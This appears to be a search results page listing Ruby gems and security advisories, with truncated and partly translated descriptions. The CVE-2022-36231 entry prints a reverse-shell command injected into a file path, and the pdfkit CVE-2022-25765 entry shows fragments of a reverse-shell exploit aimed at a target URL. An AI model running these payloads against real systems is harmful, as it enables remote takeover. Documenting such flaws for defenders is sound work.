4001 matches found
declarative-policy
DeclarativePolicy: 宣言的な認可ライブラリ このライブラリは、認可ポリシーを記述するためのDSLを提供します。 ロジックと権限を分離するために使用でき、GitLab.com で本番環境において大規模に使用されています。 このライブラリの原作者は Jeanine Adkisson であり、著作権は GitLab が保持しています。 インストール 以下の行をアプリケーションの Gemfile に追加します: gem 'declarativepolicy' その後、以下を実行します: $ bundle install または、以下のように自分でインストールすることもできます:...
vbsmin
VBSmin VBScript ミニファイア 特徴 ⬜️ 余分な空白を削除 末尾の空白 先頭の空白 空行 インラインの余分なスペース 💬 コメントを削除 シングルクォート(行頭) シングルクォート(インライン) REM 1️⃣ 一行化 行分割(アンダースコア) コロン クイックスタート クイックインストール $ gem install vbsmin より多くのインストールオプションをご覧ください。 デフォルトの使用方法: CLI $ vbsmin samples/features.vbs Original file size: 344 bytes Minified file size:...
legacy-rails-CVE-2020-5267-patch
legacy-rails-CVE-2020-5267-patch Rails 4 および Rails 3 向けの CVE-2020-5267 のパッチです。Rails をアップグレードするのが明らかに最善ですが、それまでの間、古いバージョンの Rails に留まっている場合、この gem はセキュリティアドバイザリで指摘され、パッケージ化およびテスト済みのモンキーパッチを提供します。 インストール この行をアプリケーションの Gemfile に追加してください: gem 'legacy-rails-CVE-2020-5267-patch' そして、以下を実行します: $ bundle...
inspec_cve_2019_15224
一个恶意的 rest-client gem 2019年8月19日,发现rest-client gem有多个版本发布了包含恶意代码。在发现恶意的rest-client的同时,还确定了其他几个新的 gem 也携带了类似的代码。 相关报道: https://www.securityweek.com/backdoor-found-rest-client-ruby-gem https://www.theregister.co.uk/2019/08/20/rubygemhacked/ https://www.macobserver.com/news/ruby-11-backdoors/...
deadfinder
Find dead-links broken links Documentation • Installation • Github Action • Contributing • Changelog Dead link broken link means a link within a web page that cannot be connected. These links can have a negative impact to SEO and Security. This tool makes it easy to identify and modify. Looking f...
pastenum
Pastenum Pastenum は、テキストダンプ列挙ツールです。公開サイトに投稿されたデータダンプや dox を発見・列挙するために設計されています。 現在、github.com、gist.github.com、pastebin.com、pastee.org、pastie.org のサイトを検索します。 Pastenum は、2011年にリリースされた nullthreat のオリジナル pastenum2 を gem として書き直したものです。 コードステータス インストール: Ruby 1.9. をインストール RubyGems をインストール gem install...
Important: Red Hat Security Advisory: ruby security update
An update for ruby is now available for Red Hat Enterprise Linux 10. Red Hat Product Security has rated this update as having a security impact of Important. A Common Vulnerability Scoring System CVSS base score, which gives a detailed severity rating, is available for each vulnerability from the...
resolv: resolv gem: Denial of Service via uncontrolled memory growth from crafted DNS responses
A flaw was found in the resolv gem. An attacker controlling DNS responses e.g., a spoofed response or a malicious upstream DNS server can exploit this by sending crafted DNS responses containing many distinct unknown DNS resource record pairs or SvcParamKeys. This leads to uncontrolled memory...
CVE-2022-36231
CVE-2022-36231 Ruby gem pdfinfo /dev/null initialize メソッドと同様に、@pdfpath 変数に対する検証は行われません。これにより、; を使用したコマンドチェーンを利用して任意のコマンドを実行できます。 info = PDF::Info.new'pdf/sample1.pdf; $rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2&1|nc 127.0.0.1 4444/tmp/f' pp info.metadata 上記のコードスニペットは、ポート 4444 で 127.0.0.1...
ctf-party
ctf-party 概要 CTFプレイヤー(またはセキュリティ研究者、バグバウンティハンター、ペネトレーションテスターですが、主にCTFに焦点を当てています)向けに、スクリプトやエクスプロイトの作成を強化・高速化するCLIツール兼ライブラリです。Stringクラスにパッチを当て、よく使うコードパターンを短い構文で記述できるようにします。また、純粋なネイティブRuby(依存関係なし)を維持し、他のライブラリが既にうまくやっていることを再実装しないという哲学に基づいています。 例えば、以下のように書く代わりに: require 'base64' myvar = 'string' myvar ...
mihari
mihari OSINTベースの脅威ハンティングのためのクエリアグリゲーター。 Mihariは、複数のサービスにわたる複数の検索を単一のルールに集約し、調査結果をデータベースに保存できます。 Mihariはデフォルトで以下のサービスをサポートしています。 Censys CIRCL passive DNS / passive SSL crt.sh dnstwister Fofa GreyNoise HunterHow Onyphe OTX PassiveTotal Pulsedive SecurityTrails Shodan urlscan.io Validin VirusTotal &...
heroku-CVE-2013-0269
heroku-CVE-2013-0269 すべてのHerokuアプリを検査し、脆弱性のあるバージョンのJSONを実行していないか確認します。 背景 RubyのJSON gemにおいてセキュリティ脆弱性が発見されました。これは最近発表されたRailsのMySQLインジェクション問題の根本原因です。JSON gemの新しいリリースが利用可能です。 開発者はこのスクリプトを実行することで、影響を受けるすべてのHerokuアプリケーションの完全なリストを取得できます。以下のJSONバージョンはパッチが適用され、このエクスプロイトに対して安全とみなされています。 1.7.7 1.6.8 1.5.5...
seccomp-tools
Seccomp Tools seccomp 解析のための強力なツール群です。 このプロジェクトは主に(ただし排他的ではなく)CTF pwn チャレンジにおける seccomp サンドボックスの解析を目的としています。 一部の機能は CTF 特有のものですが、実世界の seccomp フィルタの解析にも同様に役立ちます。 機能 Dump - 実行ファイルから seccomp BPF を自動的にダンプします。 Disasm - seccomp BPF を人間が読みやすい形式に変換します。 簡易的な逆コンパイルに対応。 可能な限りシステムコール名と引数を表示。 カラフル! Asm -...
CVE-2022-25765-pdfkit-Exploit-Reverse-Shell
CVE-2022-25765-pdfkit-Exploit-Reverse-Shell pdfkit TCPSocket.new"LOCAL-IP",LOCAL-LISTEN-PORT' CURL経由(太字 の値を変更): curl 'TARGET-URL ' -X POST -H 'User-Agent: Mozilla/5.0 X11; Linux x8664; rv:102.0 Gecko/20100101 Firefox/102.0' -H 'Accept:...
ssllabs.rb
ssllabs.rb Qualys SSL Labs サーバーテスト用の Ruby gem です。 API ノート SSL Labs API ドキュメント に記載されているすべての API オブジェクトは、ネイティブな Ruby オブジェクトとして公開されます。 プロパティは「アンダースコア付き」の名前でアクセスされます。つまり、endpoint.hoststarttime は API レスポンスの hostStartTime フィールドを返します。 すべてのブール型プロパティには ? 記号が接尾辞として付きます。したがって、endpoint.vulnbeast? は API レスポンス...
ssh_scan
sshscan SSH設定とポリシースキャナー ⚠️ 非推奨のお知らせ ⚠️ MozillaはSSH Scanプロジェクトのメンテナンスを終了しました。 開発を継続するには、フォークしてください。 主な利点 最小限の依存関係 - ネイティブRubyとBinDataを使用して動作し、重い依存関係はありません。 単なるスクリプトではない - 実装は移植可能で、他のプロジェクトやタスクの自動化に使用できます。 シンプル - sshscanをSSHサービスに向けるだけで、サポート内容とポリシーステータスのJSONレポートを取得できます。 設定可能 -...
droid-hunter
.---. .----------- / \ / ------ / / \ / ----- ╔╦╗╦═╗╔═╗╦╔╦╗ ╦ ╦╦ ╦╔╗╔╔╦╗╔═╗╦═╗ ////// ' / --- ║║╠╦╝║ ║║ ║║───╠═╣║ ║║║║ ║ ║╣ ╠╦╝ //// / // : : --- ═╩╝╩╚═╚═╝╩═╩╝ ╩ ╩╚═╝╝╚╝ ╩ ╚═╝╩╚═ // / / / '-- By HaHwul // //..\ www.hahwul.com ====UU====UU==== https://github.com/hahwul/droid-hunter '//||\ ''...
wordpress-exploit-framework
WordPress Exploit Framework WordPress システムのペネトレーションテストを支援するために設計された Ruby フレームワークです。 インストール 最新の安定版をインストールするには、gem install wpxf を実行します。 インストール後、wpxf を実行して WordPress Exploit Framework コンソールを起動できます。 実行に必要なもの WordPress Exploit Framework を実行するには Ruby = 2.4.4 が必要です。 インストール時のトラブルシューティング Debian 系システム WPXF...
hoper
Hoper 指定したURLがエンドポイントに到達するまでのすべてのホップを表示します。例えば、メールのURLや短縮URLのように、完全な経路を確認したい場合に便利です。HoperはすべてのURLリダイレクトを返します。 インストール $ gem install hoper 使い方 コマンドラインで次のように入力します: $ hoper url 開発 リポジトリをチェックアウトした後、依存関係をインストールするためにbin/setupを実行してください。bin/consoleを実行すると、実験用のインタラクティブプロンプトが利用できます。...
aws_public_ips
awspublicips 目次 何のため クイックスタート CLIリファレンス 設定 IAM権限 変更履歴 コントリビューション 連絡方法 何のため awspublicipsは、AWSアカウントに関連するすべてのパブリックIPアドレス(IPv4/IPv6両方)を取得するツールです。 これはライブラリおよびCLIとして使用でき、以下のAWSサービスをサポートしています(すべてClassicとVPCの両方に対応): APIGateway CloudFront EC2 および結果として: ECS, EKS, Beanstalk, Fargate, Batch, & NAT Instances...